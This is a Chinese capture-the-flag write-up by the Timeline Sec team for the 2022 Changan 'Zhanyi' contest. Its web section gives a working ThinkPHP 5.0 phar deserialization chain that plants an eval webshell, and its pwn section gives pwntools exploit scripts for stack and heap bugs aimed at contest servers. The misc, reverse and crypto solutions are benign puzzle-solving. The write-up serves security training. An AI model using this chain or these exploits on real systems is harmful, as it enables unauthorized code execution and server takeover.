长安“战疫”2022 部分WriteUp （第四名）
长安“战疫”2022 部分WriteUp （第四名）
Timeline Sec
发布于 2022-02-11 13:57:48
发布于 2022-02-11 13:57:48
第4名
长安“战疫”2022
本次比赛取得第四名！拿到一个一血，密码方向由NonupleBroken全部解出，2022年首战告捷！
Web
★tp
访问/public/可知使用了Thinkphp5.0框架，且有提示访问upload方法进行文件上传，那么就访问/public/index.php/index/index/upload，得到源代码
upload()方法对_requests进行遍历，存在任意变量注册。但是filename写死了文件后缀，所以没办法通过文件上传答题。
upload()后面一部分检查$filename如果存在ph字符串时，则删除文件。这里联想到了unlink()触发phar反序列化，且Thinkphp5.0是有已知反序列化链可getshell的。
需要注意一个点的是本地搭建环境测试发现，Thinkphp的phar反序列化会把生成的shell.php存到非web目录中，做题过程中没有细究所有原因还不明。
phar生成payload:
<?php
namespace think\process\pipes;
class Windows
{
private $files = [];
public function __construct()
{ $this->files = [new \think\model\Merge];
}
}
namespace think\model;
use think\Model;
class Merge extends Model
{
protected $append = [];
protected $error;
public function __construct()
{ $this->append = [
'bb' => 'getError'
];
$this->error = (new \think\model\relation\BelongsTo);
}
}
namespace think;
class Model{}
namespace think\console;
class Output
{
protected $styles = [];
private $handle = null;
public function __construct()
{ $this->styles = ['removeWhereField'];
$this->handle = (new \think\session\driver\Memcache);
}
}
namespace think\model\relation;
class BelongsTo
{
protected $query;
public function __construct()
{ $this->query = (new \think\console\Output);
}
}
namespace think\session\driver;
class Memcache
{
protected $handler = null;
public function __construct()
{ $this->handler = (new \think\cache\driver\Memcached);
}
}
namespace think\cache\driver;
class File
{
protected $tag;
protected $options = [];
public function __construct()
{ $this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/convert.base64-decode/resource=../../../../../../../../../../../../../../../../../../../../var/www/html/public/', // 这里指定了shell存放路径
];
}
}
class Memcached
{
protected $tag;
protected $options = [];
protected $handler = null;
public function __construct()
{ $this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',
];
$this->handler = (new File);
}
}
$o = new \think\process\pipes\Windows;
$phar = new \Phar("a.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
将生成的a.phar改名为a，然后构造如下HTML，上传phar文件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<h1>hello worlds</h1>
<form action="http://xxx.lxctf.net/public/index.php/index/index/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="submit"></p>
</form>
</body>
</html>
构造如下数据包触发phar
POST /public/index.php/index/index/upload HTTP/1.1
Host: xxx.lxctf.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryppwxmDlGxyhspudr
Content-Length: 267
------WebKitFormBoundaryppwxmDlGxyhspudr
Content-Disposition: form-data; name="FILES[file][name]"
phar://a
------WebKitFormBoundaryppwxmDlGxyhspudr
Content-Disposition: form-data; name="FILES[file][tmp_name]"
xxx
------WebKitFormBoundaryppwxmDlGxyhspudr--
访问shell，得到flag
★Flag配送中心
去php.net找下下一个版本（5.6.24)修复了啥漏洞
发现CVE-2016-5385，跟着文章复现了一遍就拿到flag了
https://www.cnblogs.com/foe0/p/11364567.html
★RCE_No_Para
访问靶机看到源代码，联系题目可知是无参数rce
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
eval($_GET['code']);
}else{
die("Hacker!");
}
}else{
show_source(__FILE__);
}
?>
网上很多payload,但是此题过滤了end,header和session,所以选择使用get_defined_vars函数
参考连接：
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E6%B3%95%E4%B8%89%EF%BC%9Aget-defined-vars
但是需要绕过end，可以使用current(array_reverse)代替end,得到flag
★Flask
提示信息如下
通过如下方式绕过，访问admin
根据返回的提示进行构造，触发ssti
限制了双下划线和中括号，通过|attr和十六进制绕过
Misc
★八卦迷宫
将图形对应的汉字连在一起然后转成汉语拼音即可
cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}
★朴实无华的取证
内存取证
先扫一遍flag相关文件，找到一个压缩包和图片
导出两个文件，得到一张图片和一个加密的压缩包，压缩包里有个encrypt.txt
所以考虑先解开压缩包，去镜像中找密码，在记事本记录里找到
解开压缩包，得到encrypt.txt。可以看出是偏移为三的凯撒加密
把图片上的编码，在线凯撒解密得到flag,这里猜测图片上的?是_
交了flag不正确，手动调整第一个8为X，提交正确
cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic}
★无字天书
流量包提取文件，可以在其中一个文件中发现一串16进制，根据文件头可知是一个压缩包
把十六进制提取出来，利用winhex还原压缩包
打开里面两个文件，notepad++打开key.ws发现都是空白字符，且存在tab和换行，猜测是whitespace
在线网站解密得到key
flag.txt全是空白字符，猜测是snow加密 且上一步找到了key，使用tk大佬的工具一把梭
★西安加油
Wireshark查看全是HTTP请求
观察发现大部分是返回404状态码，过滤状态码为200的仅有几条
在tcp.stream eq 4中发现hint
进行Base32解码得到如下
9403.png is 0
8086.png is 1
7301.png is 2
7422.png is 3
3978.png is 4
8266.png is 5
7683.png is 6
5410.png is 7
4365.png is 8
...（太多，这里省略）
在tcp.stream eq 6中发现一串可疑数据
Base64解码后是一个zip压缩包，解压后里面放着大量png图片，图片文件名对应着上面Base32解出来的内容
两个线索联想到一起，应该就是拼图，用Photoshop拼接后得到flag
★binary
用二进制文件读取234，发现文件头为CAFEBABE,即class文件头，补齐后缀名.class，然后打开可以看到一个数组，然后通过把数组里的数值转成字符 可以得到base64加密的字符串，base64解密后可以得到全部01组成的字符串，观察可以知道是37*37的矩阵，转成二维码形式查看，得到flag
exp如下：
from PIL import Image
from zlib import *
MAX = 37
pic = Image.new("RGB",(MAX,MAX))
str="0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101101101000100100010110000011000111000001010100010010001011101101100110110101111010001001111101011101000000010010000101111100000000101010101010101010101010000000111111110010000000010011001111111111111000101010100001011111101000000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101010111001010110001110000000110100000000000010011010100100010001101110101110111110100101001001111111011100001100101000100010001101110110110011001100110011101111010011000111111101101001100000001000001110101000111000001011011111101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101010001001101111101110110010011111101011101110110001011100000010111011000101101000110010001111011000111101001001111010101000001110101110110101111110100010010101101100100100000011010001001111101101000100011100101100110111110011000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010110000000111000111011010110001010100100011111011100110101011010110001110111101000101001100001100110100000000000100100010101111101100011111111110100111010001010110111111110000001010101011001111101111110001011010011110001101100000000111111011110110000000100011000"
i=0
for y in range(0,MAX):
for x in range(0,MAX):
if(str[i] == '0'):
pic.putpixel([x,y],(0,0,0))
else:pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
#pic.save("result.png")
微信扫码得到flag
PWN
★pwn1
32位程序在返回的时候不是leave ret
我们将ebp-0x4栈地址中的值 给覆盖成 backdoor_addr所在的栈中地址再+4,即 v4_stack_addr+4.
#coding:utf8
from pwn import *
context.log_level="debug"
p=process("./pwn1")
p=remote("113.201.14.253",16088)
p.recvuntil("Gift:")
stack_addr=int(p.recv(10),16)
pd=p32(0x08048540)
pd+="a"*(0x38-0x8)
pd+=p32(stack_addr+4)
p.sendline(pd)
p.interactive()
★pwn2
add功能存在off-by-one漏洞
利用改漏洞修改下一个chunk的size实现堆块重叠后泄露libc，改__free_hook为system来getshell
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File : exp.py
@Time : 2022/01/08 11:26:40
@Author : eur1ka
@Version : 3.8
@Contact : eur1ka@163.com
'''
# here put the import lib
from pwn import *
from LibcSearcher import *
import pwnlib
debug = 1
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']
IP=""
port=1
file_name = "./pwn2"
try:
libc_path = "./libc-2.27.so"
libc = ELF(libc_path)
except:
pass
menu = "Choice: "
elf=ELF(file_name)
if debug:
sh = process(file_name)
else:
sh = remote(IP,port)
def debug():
gdb.attach(sh)
pause()
def cmd(choice):
sh.recvuntil(menu)
sh.sendline(str(choice))
def add(size,content):
cmd(1)
sh.sendlineafter("size: ",str(size))
sh.sendafter("content: ",content)
def edit(idx,content):
cmd(2)
sh.sendlineafter("idx: ",str(idx))
sh.sendafter("content: ",content)
def dele(idx):
cmd(3)
sh.sendlineafter("idx: ",str(idx))
def show(idx):
cmd(4)
sh.sendlineafter("idx: ",str(idx))
for i in range(2):
add(0x38,'a\n')
add(0x40,'a\n')
for i in range(8):
add(0x80,"a\n")
dele(0)
add(0x38,'a'*0x38+"\x91")
for i in range(7):
dele(i+3)
dele(1)
add(0x38,'/bin/sh\x00\n')
show(2)
libc_base = u64(sh.recv(6).ljust(8,b"\x00")) - 0x3ebca0
log.info("libc_base=>{}".format(hex(libc_base)))
add(0x40,'a\n')
dele(2)
edit(3,p64(libc_base+libc.sym['__free_hook']))
add(0x40,'a\n')
add(0x40,p64(libc_base+libc.sym['system']))
sh.sendline()
# debug()
dele(1)
sh.interactive()
★pwn3
存在泄露libc地址及任意写的功能，只要游戏能通过
游戏很简单，就是判断create以及levelup的字符串长度大于0x7fffffff即可
漏洞点在levelup里面，输入字符可以覆盖a1+9的地方
成功通过检测后覆盖exit_hook为one_gadget即可
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File : exp.py
@Time : 2022/01/08 15:45:20
@Author : eur1ka
@Version : 3.8
@Contact : eur1ka@163.com
'''
# here put the import lib
from pwn import *
from LibcSearcher import *
import pwnlib
debug = 0
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']
IP="113.201.14.253"
port=16033
file_name = "./Gpwn3"
try:
libc_path = "./libc-2.23.so"
libc = ELF(libc_path)
except:
pass
menu = "You choice:"
elf=ELF(file_name)
if debug:
sh = process(file_name)
else:
sh = remote(IP,port)
def debug():
gdb.attach(sh)
pause()
def cmd(choice):
sh.recvuntil(menu)
sh.sendline(str(choice))
def create(payload):
cmd(1)
sh.sendlineafter("Give me a character level :\n",payload)
def leaveup(payload):
cmd(2)
sh.sendlineafter("Give me another level :\n",payload)
def play():
cmd(3)
# sh.sendlineafter("")
# sh.sendlineafter(menu,'a'*0xf)
create('a'*35)
leaveup('a'*0x10)
leaveup('a'*0x10)
play()
play()
sh.recvuntil("Here's your reward: ")
put_addr = int(sh.recv(14),16)
libc_base = put_addr - libc.sym['puts']
log.info("libc_base=>{}".format(hex(libc_base)))
exit_hook = libc_base + 0x5f0f48
'''
➜ pwn3 one_gadget libc-2.23.so
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one = libc_base + 0xf1247
sh.sendafter("Warrior,please leave your name:",p64(exit_hook))
sh.sendafter("We'll have a statue made for you!",p64(one))
# debug()
sh.interactive()
RE
★combat_slogan
jd打开jar文件
输入的字符串经过ttd加密后与相等即可
str="Jr_j11y_s1tug_g0_raq_g0_raq_pnml"
flag=""
for i in range(len(str)):
if 65<=ord(str[i])<=90 or 97<=ord(str[i])<=122:
if 65<=ord(str[i])<=77:
flag+=chr(ord(str[i])+13)
if 78<=ord(str[i])<=90:
flag+=chr(ord(str[i])-13)
if 97<=ord(str[i])<=109:
flag+=chr(ord(str[i])+13)
if 110<=ord(str[i])<=122:
flag+=chr(ord(str[i])-13)
else:
flag+=str[i]
print flag
'''
a-m 97-109
n-z 110-122
A-M 65-77
N-Z 78-90
'''
★cute_doge
F12
Base64解密得到
flag{Ch1na_yyds_cazy}
★hello_py
在线反编译得到
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
import threading
import time
def encode_1(n):
global num
if num >= 0:
flag[num] = flag[num] ^ num
num -= 1
time.sleep(1)
if num <= 0:
pass
def encode_2(n):
global num
if num >= 0:
flag[num] = flag[num] ^ flag[num + 1]
num -= 1
time.sleep(1)
if num < 0:
pass
Happy = [
44,
100,
3,
50,
106,
90,
5,
102,
10,
112]
num = 9
f = input('Please input your flag:')
if len(f) != 10:
print('Your input is illegal')
continue
flag = list(f)
j = 0
print("flag to 'ord':", flag)
t1 = threading.Thread(encode_1, (1,), **('target', 'args'))
t2 = threading.Thread(encode_2, (2,), **('target', 'args'))
t1.start()
time.sleep(0.5)
t2.start()
t1.join()
t2.join()
if flag == Happy:
print('Good job!')
continue
print('No no no!')
continue
将happy首先进行 encode_2的解密然后 encode_1的解密.
发现得到的结果都是明文
num=9
happy = [44,100,3,50,106,90,5,102,10,112]
for i in range(num):
happy[i]=happy[i]^happy[i+1]
for i in range(num):
happy[i]=happy[i]^i
print happy#[72, 102, 51, 91, 52, 90, 101, 107, 114, 112]
但有些奇怪.尝试
将下标为偶数的元素进行 encode_2的解密
将下标为奇数的元素进行 encode_1的解密
num=9
happy = [44,100,3,50,106,90,5,102,10,112]
flag=""
for i in range(num):
if i%2==0:
happy[i]=happy[i]^happy[i+1]
flag+=chr(happy[i])
else:
happy[i]=happy[i]^i
flag+=chr(happy[i])
print happy
print flag#He110_caz
成功得到He110_caz
根据前面flag的格式判断最后还缺个y
连在一起flag{He110_caz}
Crypto
★LinearEquations
LCG 的变种，知道连续的 5 个结果后，三个方程三个未知数，解方程即可：
sage 脚本：
data = [2626199569775466793, 8922951687182166500, 454458498974504742, 7289424376539417914, 8673638837300855396]
n = 10104483468358610819
s0 = mod(data[0], n)
s1 = mod(data[1], n)
s2 = mod(data[2], n)
s3 = mod(data[3], n)
s4 = mod(data[4], n)
B = ((s4 - s3) * (s2 - s1) - (s3 - s2) * (s3 - s2)) / ((s2 - s1) * (s2 - s1) - (s1 - s0) * (s3 - s2))
print(hex(B))
A = ((s3 - s2) - B * (s1 - s0)) / (s2 - s1)
print(hex(A))
C = s2 - A * s1 - B * s0
print(hex(C))
from Crypto.Util.number import long_to_bytes
flag = long_to_bytes(int(A)) + long_to_bytes(int(B)) + long_to_bytes(int(C))
print('cazy{' + flag.decode() + '}')
★no_can_no_bb
爆破 AES 密钥即可：
import random
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
def pad(m):
tmp = 16-(len(m)%16)
return m + bytes([tmp for _ in range(tmp)])
def decrypt(c, key):
aes = AES.new(key, AES.MODE_ECB)
return aes.decrypt(c)
def main():
c = b'\x9d\x18K\x84n\xb8b|\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c'
for i in range(0, 1 << 20):
key = pad(long_to_bytes(i))
flag = decrypt(c, key)
if flag.startswith(b'cazy{'):
print(flag.decode())
if __name__ == '__main__':
main()
★no_cry_no_can
key长度为5
flag前5位是 craz{
flag与key的循环做异或 得到 一串乱码字符
乱码字符前五位与 craz{做异或即得到 key
然后再将乱码字符与key循环做异或即得到flag.
'''
from Crypto.Util.number import*
from secret import flag,key
assert len(key) <= 5
assert flag[:5] == b'cazy{'
def can_encrypt(flag,key):
block_len = len(flag) // len(key) + 1
new_key = key * block_len
return bytes([i^j for i,j in zip(flag,new_key)])
c = can_encrypt(flag,key)
print(c)
'''
c=b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'
print len(c)
flag=""
for i in range(len(c)):
if i%5==0:
flag+=chr(ord(c[i])^ord('c'))
if i%5==1:
flag+=chr(ord(c[i])^ord('a'))
if i%5==2:
flag+=chr(ord(c[i])^ord('z'))
if i%5==3:
flag+=chr(ord(c[i])^ord('y'))
if i%5==4:
flag+=chr(ord(c[i])^ord('{'))
print flag
print flag[:5]
key=flag[:5]
c=b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'
print len(c)
flag=""
for i in range(len(c)):
if i%5==0:
flag+=chr(ord(c[i])^ord(key[0]))
if i%5==1:
flag+=chr(ord(c[i])^ord(key[1]))
if i%5==2:
flag+=chr(ord(c[i])^ord(key[2]))
if i%5==3:
flag+=chr(ord(c[i])^ord(key[3]))
if i%5==4:
flag+=chr(ord(c[i])^ord(key[4]))
print flag#cazy{y3_1s_a_h4nds0me_b0y!}
★no_cry_no_cry
import gmpy2
from Crypto.Util.number import long_to_bytes
c = 10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169
x = gmpy2.iroot(c - 0x0338470, 2)
m = (1 << 500) - x[0]
print(long_to_bytes(m))
令：
x = inverse\_mod(q, p)
y = inverse\_mod(p, q)
则：
q \times x = 1 + k1 \times p
p \times y = 1 + k2 \times q
联立得：
q \times (x + k2) = p \times (y + k1)
由于 p 和 q 互质，因此：
p = x + k2
q = y + k1
代入 q \times x = 1 + k1 \times p 得：
x \times y = 1 + k1 \times k2
由于：
\phi(n) = (p - 1) \times (q - 1) = (x - 1 + k2) \times (y - 1 + k1) \\
将 k2 代入可得：
(x - 1) \times k1 ^ 2 + (x \times y - 1 - \phi(n) + (x - 1) \times (y - 1)) \times k1 + (y - 1) \times (x \times y - 1) = 0
解一元二次方程可得 k1，再算出 p q，最后解 RSA 即可
完整脚本如下：
import gmpy2
from Crypto.Util.number import long_to_bytes
def solve(a, b, c):
delta = b ** 2 - 4 * a * c
if gmpy2.is_square(delta):
x1 = (-b + gmpy2.isqrt(delta)) // (2 * a)
x2 = (-b - gmpy2.isqrt(delta)) // (2 * a)
return True, (x1, x2)
else:
return False, (0, 0)
def main():
y = 0x63367a2b947c21d5051144d2d40572e366e19e3539a3074a433a92161465543157854669134c03642a12d304d2d9036e6458fe4c850c772c19c4eb3f567902b3
x = 0x79388eb6c541fffefc9cfb083f3662655651502d81ccc00ecde17a75f316bc97a8d888286f21b1235bde1f35efe13f8b3edb739c8f28e6e6043cb29569aa0e7b
cc = 0x5a1e001edd22964dd501eac6071091027db7665e5355426e1fa0c6360accbc013c7a36da88797de1960a6e9f1cf9ad9b8fd837b76fea7e11eac30a898c7a8b6d8c8989db07c2d80b14487a167c0064442e1fb9fd657a519cac5651457d64223baa30d8b7689d22f5f3795659ba50fb808b1863b344d8a8753b60bb4188b5e386
e = 0x10005
d = 0xae285803302de933cfc181bd4b9ab2ae09d1991509cb165aa1650bef78a8b23548bb17175f10cddffcde1a1cf36417cc080a622a1f8c64deb6d16667851942375670c50c5a32796545784f0bbcfdf2c0629a3d4f8e1a8a683f2aa63971f8e126c2ef75e08f56d16e1ec492cf9d26e730eae4d1a3fecbbb5db81e74d5195f49f1
kn = e * d - 1
for k in range(3, e):
if kn % k == 0:
phi = kn // k
a = x - 1
b = x * y - 1 + (x - 1) * (y - 1) - phi
c = (y - 1) * (x * y - 1)
ok, (k1, k2) = solve(a, b, c)
if not ok:
continue
if (x * y - 1) % k1 == 0:
k2 = (x * y - 1) // k1
elif (x * y - 1) % k2 == 0:
k1, k2 = k2, (x * y - 1) // k2
else:
print('error')
return
p, q = x + k2, y + k1
N = p * q
flag = long_to_bytes(pow(cc, d, N))
print(flag)
break
if __name__ == '__main__':
main()本文参与 腾讯云自媒体分享计划，分享自微信公众号。
原始发表：2022-01-11，如有侵权请联系 cloudcommunity@tencent.com 删除
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